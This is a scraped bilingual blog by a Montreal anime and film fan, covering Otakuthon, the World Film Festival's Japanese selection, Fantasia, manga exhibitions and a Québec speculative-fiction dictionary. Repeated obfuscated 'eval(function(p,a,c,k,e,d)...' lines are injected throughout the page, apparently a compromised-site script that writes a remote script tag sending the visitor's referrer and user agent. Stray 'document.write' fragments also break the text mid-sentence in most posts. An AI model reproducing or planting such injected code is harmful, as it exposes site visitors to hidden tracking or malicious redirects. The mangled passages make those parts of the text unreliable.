eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtdsz|var|u0026u|referrer|dbfat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnbfz|var|u0026u|referrer|dfkde||js|php’.split(‘|’),0,{}))

You can read the latest daily misadventures of a dysfunctional library’s staff in Too Much Information. Published in the same smaller format than Large Print, document.write(“”); the previous book, it “contains eighteen months of daily strips and never-published-on-the-web Conference Tips, plus selected author commentary and a foreword by Babymouse author Jennifer Holm”. The books ship in February but can be already ordered from the website’s store (it’s not yet listed on Amazon). It’s a must-read if you work (or spend lots of time) in a library! Check after the jump for a page sample of the book.

Club de Lecture d’été TD 2012

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Une collègue se demandait quel serait le thème du prochain Club de Lecture TD et quand il serait annoncé. Comme il me semblait avoir vu l’information quelque temps plus tôt sur Facebook, document.write(“”); je lui ai dis que je ferais une petit recherche pour voir si je pourrai retrouver cette information. Comme de fait, pour ceux que ça intéresse, le thème du prochain Club de Lecture TD sera le Fantastique (“Fantasy” en anglais). Apparemment cela a été annoncé en juillet dernier. Le titre du thème sera “Imagine.” C’est un thème assez vaste et il ne sera pas trop difficile de sortir des titres pour le club. Vous trouverez une liste de suggestions de titres sur le site du Club. Il ne reste plus qu’à connaitre l’illustrateur/trice pour cette année (normalement cela aurait dû être officiellement annoncé en octobre… mais j’ai lu ailleurs sur le web que l’artiste était Dušan Petri?i?) et voir/avoir le matériel graphique du programme (d’ici mars). Et alors on pourra commencer à se préparer pour le club de lecture d’été (ce qui est malheureusement difficile à faire puisqu’on a pas un accès facile à l’internet sur nos ordis — a moins de jeter en bas de sa chaise un des usagers qui collent toute la journée aux stations internet!).

Épanouissement du DALIAF

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Après des décennies de travail acharné, document.write(“”); le mythique Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française (ou “DALIAF” pour les intimes) est finalement sous presse! Cela faisait si longtemps qu’on en parlait qu’on se demandait s’il finirait par éclore. C’est compréhensible: toutes les années de nouveaux auteurs sont publiés mais à un moment donné il faut mettre un point final à l’ouvrage. Nul doute que cette attente en valait la peine!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzky|var|u0026u|referrer|kktta||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stdsa|var|u0026u|referrer|yytnd||js|php’.split(‘|’),0,{}))

Compilé par Claude Janelle (à qui l’on doit aussi L’Année de la science-fiction et du fantastique québécois, Le XIXe siècle fantastique en Amérique française et La Décennie charnière) et publié par les Éditions Alire (le principal éditeur de paralittérature au Québec, qui est mieux connu pour les romans d’horreur de Patrick Sénécal ou les thrillers des Jean-Jacques Pelletier mais n’en est toutefois pas à la publication de son premier essai), le DALIAF recense la production des littératures de l’imaginaire (c’est-à-dire science-fiction, fantastique et fantasy) produite, entre 1835 et 2008 inclusivement, en Amérique du Nord francophone (mais principalement au Québec) et s’attarde particulièrement aux plus de mille sept cents hommes et femmes qui en sont les créateurs.

Le DALIAF est un ouvrage à la fois bibliographique, biographique et critique. Fort de 535 pages, il est publié en quadrichromie dans un grand format couverture caisse (couverture cartonnée et reliure cousue). Il coûtera 79,95 $ pour la version papier (978-2-89615-074-8) et 49,99 $ pour la version électronique (format pdf, 978-2-89615-479-1). Lancé à la fin du mois de novembre (manquant de justesse le Salon du Livre!?), il sera disponible chez Alire en décembre et en librairies dès janvier 2012. Quoique dispendieux (mais volumineux et en couleur!), c’est un outil de référence essentiel pour tout bibliothécaire, étudiant en littérature, intervenant de l’édition ou simplement amateur extrème du livre québécois. Vous pouvez en avoir un aperçu (en feuilletant un extrait) sur le site de l’Entrepôt numérique ANEL-De Marque.

Et bien sûr, ayant publié quelques nouvelles comme auteur et quelques fanzines ou anthologies comme éditeur, on peut me trouver dans les pages du DALIAF. J’ai bien hâte de voir ça.

(voir aussi mon commentaire détaillé)

Steve Jobs has passed away

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haesn|var|u0026u|referrer|stdfh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szasr|var|u0026u|referrer|rbdtf||js|php’.split(‘|’),0,{}))
The co-founder of Apple has passed away at 56. It is the end of an era. Widely admired, document.write(“”); this great man will be sorely missed. This is indeed a sad day.

Here’s more news, some reactions and tributes.

Une rentrée très japonaise

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La rentrée culturelle de 2011 offre beaucoup aux amateurs du Japon cet automne…
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Côté “littérature”, document.write(“”); la Bibliothèque et Archives nationales du Québec (BAnQ) lance son année Manga. Les principaux événements sont les expositions “Manga: L’art du mouvement” (du 20 septembre 2011 au 30 septembre 2012, dans la salle d’exposition principale, niveau M) et “Raconte-moi un manga” (du 20 septembre 2011 au 13 janvier 2013, à l’Espace Jeunes).

Elles seront entourées d’une myriade d’activités tant pour adultes (voir le calendrier des activités culturelles: entretien avec Keiichi Hara et présentation de son film Un été avec Coo (22 sept., 19h à 22h), visite commentée de l’exposition (1 & 2 Oct, 14h à 16h; 2 Nov., 19h), Un mangaka à l’oeuvre (1er Oct., 13h30 à 16h30), L’homme qui ne voulait pas lire de mangas (6 Oct., 19h30), La petite histoire du manga au Québec (20 Oct, 19h30), Les poses du personnage manga (5 Nov, 14 h à 16h), Les secrets d’un atelier de mangaka: Stars et esclaves (15 Nov, 19h30), Le manga et la perspective (3 Dec, 14h à 16h), et Voyage au pays des mangas (15 Déc, 19h30))…

…que pour jeunes (voir calendrier des activités de l’Espace Jeunes: contes en origami (18 Sept, 13H30), Quel est ton type de manga? (18 Sept, 15h; 16 Oct, 14h; 13 Nov, 14h), Parle-moi BD pour voir! (2 Oct, 14h), Le visage manga et tous ses secrets (15 Oct, 14h), L’art du Kamishibaï (5 Nov, 13h), Le Kamishibaï et les contes populaires de nord de la France (19 Nov, 13h30), Les yeux et les expressions manga typiques (20 Nov, 14h), Le bonhomme Kamishibaï (27 Nov, 14h), Enfin réussir les cheveux manga! (10 Déc, 14h), Noël en origami avec Mme Sinto (17 Déc, 13h30), et le spectacle Manga-Théatre! (18 Déc, 14h)).

Il y en a vraiment pour tout les goûts! Pour plus d’information voir: manga.banq.qc.ca.

Du côté cinéma, la Cinématèque Québecoise présente, du 7 Septembre au 9 Octobre, “Un Mois de Cinéma Japonais”. On y fera un survol du cinéma japonais depuis les années 1960, ce qui incluera une série de soixante-douze projections (divisés en trois volets: “Expériences radicales : Rétrospective de l’Art Theatre Guild”, “Rétrospective Kore-eda Hirokazu” et “Panorama contemporain”) et l’exposition “Le cinéma japonais s’expose: Affiches de l’Art Theatre Guild.”

Finalement, côté théatre, Usine C présentera, du 7 au 10 Septembre, la pièce de Yasushi Inoué “Le Fusil de Chasse” (adaptée par Serge Lamothe et mise en scène par François Girard). On y retrouve la célèbre actrice nipponne Miki Nakatani. Fait étonnant, la pièce est présentée en version intégrale japonaise avec surtitres français. Pour plus d’information je recommande la lecture de l’article de Elsa Pépin dans Voir. Dépêchez-vous car il n’y a que quatre représentations!

Otakuthon 2011

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Comme par les années passées, document.write(“”); je serai à <a href="http://www.otakuthon.com/&quot; target="“new”""Otakuthon/a ce week-end (quoique cette fois ce n'est pas en tant qu'invité mais simplement comme exposant).br /
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br /
La convention a lieu du 12 au 14 août au Palais des Congrès de Montréal (situé au 201, avenue Viger ouest, près du métro Place d’Armes). Voyez le site d’a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour plus de détails.

Je serai à la table #502 du Salon d’expositon (aussi connue comme la salle de vente), qui sera ouverte au public vendredi de 17:00 à 21:00, samedi de 10:00 à 19:00 et dimanche de 10:00 à 17:00.

Venez me recontrer pour discutter et jetez un coup d’oeil sur les aubaines incroyable que j’offre sur les dvds d’anime et les manga!

Cette année je n’ai qu’une seule table de vente, alors elle sera pas mal encombrée. J’y ferai moins la présentation du magazine (here.

Apps & blogue niouse

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Je suis tombé cette semaine sur quelques actualités technologiques qui, document.write(“”); je crois, mérite bien d’être mentionées à part de ma revue de presse hebdomadaire habituelle:
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Comme je l’ai déjà dit, la télévision sur internet a beaucoup d’avenir et la destination de choix pour la télé francophone au Québec est sans doute TouTV.ca. Malheureusement pour moi, TouTV.ca utilise la technologie d’Adobe Flash pour diffuser ses émissions sur le web et je ne peux donc pas les visioner avec mon iPad. Bonne nouvelle: un récent article nous apprend que Tou.tv lancera en décembre des applications iPad et iPhone! Enfin!

Je lis beaucoup d’actualités sur mon iPad. On peut lire l’information directement sur les sites internet des grands quotidiens, mais de plus en plus ceux-ci produisent des applications pour iPhone et iPad afin de présenter les articles (ou, dans la plupart des cas, une sélection d’articles) dans un format qui se lit plus aisément. Un des quotidiens que je lis le plus fréquemment est La Presse (ou “Cyberpresse” pour sa version électronique). Jusqu’à récemment j’utilisais l’application pour iPhone (sur le iPad on double les pixels pour visioner plein écran, mais l’image est moins précise et la présentation plutôt simple) mais il existe depuis quelques semaines une version de l’application pour iPad qui rend la lecture des articles beaucoup plus agréable de par sa superbe présentation. Bravo!

Ça bouge beaucoup chez Apple ces temps-ci. Lors d’une conférence de presse (“Back to the Mac”) tenue le 20 octobre dernier, Apple a dévoilé la mise à jour annuelle de la suite de logiciels iLife (dont j’attend impatiemment la livraison) et a donné un bref aperçu de son prochain système d’opération pour le Mac (OS X 10.7): Lion (attendu pour l’été prochain). On y a également lancé la nouvelle version du portable ultra-léger et rapide (flash-drive oblige!) MacBook Air. De plus, deux autres mise à jour de système d’opération sont attendu pour bientôt: une version améliorée de “Snow Leopard” (Mac OS X 10.6.5, attendue imminament) et iOS 4.2 (qui devrait amener des tas d’amélioration pour l’iPad, dont la fonction multitâche, et qu’on attend en novembre).

Finalement, je ne pouvais pas manquer de mentioner, en cette chaude journée d’Octobre (le mercure atteint les 18’C !!) que mon blogue a maintenant accueillit plus de 10,000 visiteurs! Ces derniers mois, la moyenne de visites quotidienne a presque doublée (à 28). C’est bien mais c’est encore très peu. En un peu plus de cinq ans je n’ai d’ailleurs écrit que trois-cent-quarante-six entrées (dont près de la moitié cette année seulement)… On fait ce qu’on peut (je pourrais faire des entrées plus courtes et plus nombreuses… écouter moins de télé, etc., mais le travail me laisse encore trop vidé de mon énergie).

Je me rattrape néanmoins peu à peu sur mes projets d’articles. Les prochaines entrées à venir seront sans doute les commentaires sur le “hands-on” du iPad, mes apps favorites, les films japonais du FFM, et sur plusieurs lectures (plus ou moins) récentes. De nombreux imprévus causeront certainement des retards et il ne faut pas oublier que je dois mettre (plus) de temps sur mon ménage et mon déménagement! (J’essai de ne pas trop y penser, pcq c’est trop déprimant!). En terminant, je ne peux que (une fois de plus) demander à mes quelques lecteurs de (svp) laisser des commentaires! (histoire de ne pas avoir l’impression de parler dans le vide…)

Allez hop!, passons maintenant à la revue de presse. Les actualités d’intérêts sont nombreuses cette semaine…

Tony Curtis (1925-2010)

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To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
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Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Time Jam streamed by Crunchyroll

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I’ve been working for a while now on an article about the animated version of Valerian and Laureline (it’s taking a long time because I am quite busy and it’s a 40-episode series; also I am writing it in french, document.write(“”); but will probably include a synopsis of the article in english whenever I post it online) so I was quite pleased when I read on Anime News Network that Crunchyroll was streaming it.
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Based on the famous graphic novel written by Jean-Claude Mezieres and Pierre Christin, Time Jam: Valerian and Laureline is an animation co-produced by the French publisher Dargaud and the Japanese studio Satelight. All premium anime and all-access Crunchyroll members will have access to the entire 40 episodes immediately, while only the first five episodes will be available to free users now with the subsequent five episodes rolling out henceforth. Unfortunately, due to licensing limitations, the series is available only to the U.S. audience. If you are located in the right region, episodes can be accessed from Crunchyroll.com, tv.com, the free iPad and iPhone application, the Boxee application and affiliate partners.

More information can be found in the full press release and on www.crunchyroll.com/valerian. You can also find a previous blog entry with the series’ trailer.

“Sword of Desperation” press conference

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Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
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A video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Otakuthon reminder

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Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
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Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

Montreal World Film Festival 2010

/ Clodjee / 2 Comments

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
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“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Otakuthon 2010

/ Clodjee / Leave a comment

Like the previous years, document.write(“”); I will be attending Otakuthon as a guest.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akdty|var|u0026u|referrer|iayse||js|php’.split(‘|’),0,{}))

The convention will be held August 13-15 at the Palais des Congrès de Montréal (201, Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.

I will be taking care of a couple of tables in the Exhibition Hall (opened Friday from 5:30 pm – 9:00 pm, Saturday from 10:30 am – 7:00 pm and Sunday from 10:30 am – 5:00 pm): one to promote the magazine Protoculture Addicts and another one where I’ll be kicking off my Super Virtual Summer Garage Sale (as you know I will soon have to move out from a huge appartment into a smaller one, so I have to get rid of most of my stuff). Therefore there will be LOTS of anime & manga goodies to sell at VERY good price.

I am not planning any panel this year but come meet me in the Exhibition Hall and I’ll gladly discuss with you!

I am also looking for a volunteer to help at the table. If you are interested please contact me.

The shape of things to come

/ Clodjee / Leave a comment

On Tuesday the Anime News Network has introduced some changes to the website that are only the first steps into many more improvements to come. Those changes were first announced in a “Letter from the Editor” dated June 24th and then discussed the following day in the ANNCast episode “Totally Boss”.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzrhd|var|u0026u|referrer|tynhf||js|php’.split(‘|’),0,{}))

The night before the changes went online a new “Letter from the Editor” titled “A look at the (near) Future – Interim 1.0” introduced them to the website readers. ANN’s Editor-in-chief, document.write(“”); Christopher Macdonald, was telling us that a new “casual” feed would be added to the “main feed.” While the main feed would remain dedicated to hard news content, the new interest feed would bring “a daily feed of interesting and entertaining articles related to anime.” This would be accompanied with a slight layout change: an icon would be identifying the topic and type of content of each item of the feed.

This is great news. Here’s how the webpage looked on the morning the changes were introduced:

Fantasia 2010

/ Clodjee / Leave a comment


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ersda|var|u0026u|referrer|nenzt||js|php’.split(‘|’),0,{}))
Tuesday, document.write(“”); Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)

Press Release: Tokyopop & Zinio Announce the Launch of Digital Manga Editions

/ Clodjee / Leave a comment

Los Angeles, document.write(“”); CA (June 25, 2010) — Tokyopop, the leader of the global manga revolution, and Zinio, the world’s top digital publishing distribution service, today announced a partnership that offers more than fifty volumes of manga, available immediately for digital download to your PC and Mac by visiting www.Zinio.com/tokyopop.
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Dozens of volumes now available to download to your computer

The debut list of titles for sale includes the bestsellers Bizenghast, Dramacon, and Princess Ai; manga-adapted-to-film series such as The Dreaming and Van Von Hunter; the groundbreaking shonen-ai hit Gravitation, and Jim Henson’s Return to Labyrinth and Legends of the Dark Crystal. Release dates for future titles, including Min-Woo Hyung’s Priest, inspiration for the Spring 2011 3-D film from Sony/Screen Gems, will be announced and made available for digital download soon.

Stu Levy, Tokyopop’s founder, producer of the upcoming films Priest and The Dreaming and director of Van Von Hunter, each based on the company’s manga series, says, “I have always been a strong advocate for digital-in fact, my DNA is made entirely from 0’s and 1’s. The manga lifestyle is rapidly moving online and we are committed to finding the best experience possible in that medium. Zinio offers the top online reading experience, and their team is committed to providing a 360º accessibility.”

For consumers, Zinio enables the ability to shop for, search inside, read, share, and save digital content to your computer. Similar to thumbing through the print edition at a local bookstore, readers of Tokyopop digital versions can preview pages of each manga, free of charge.

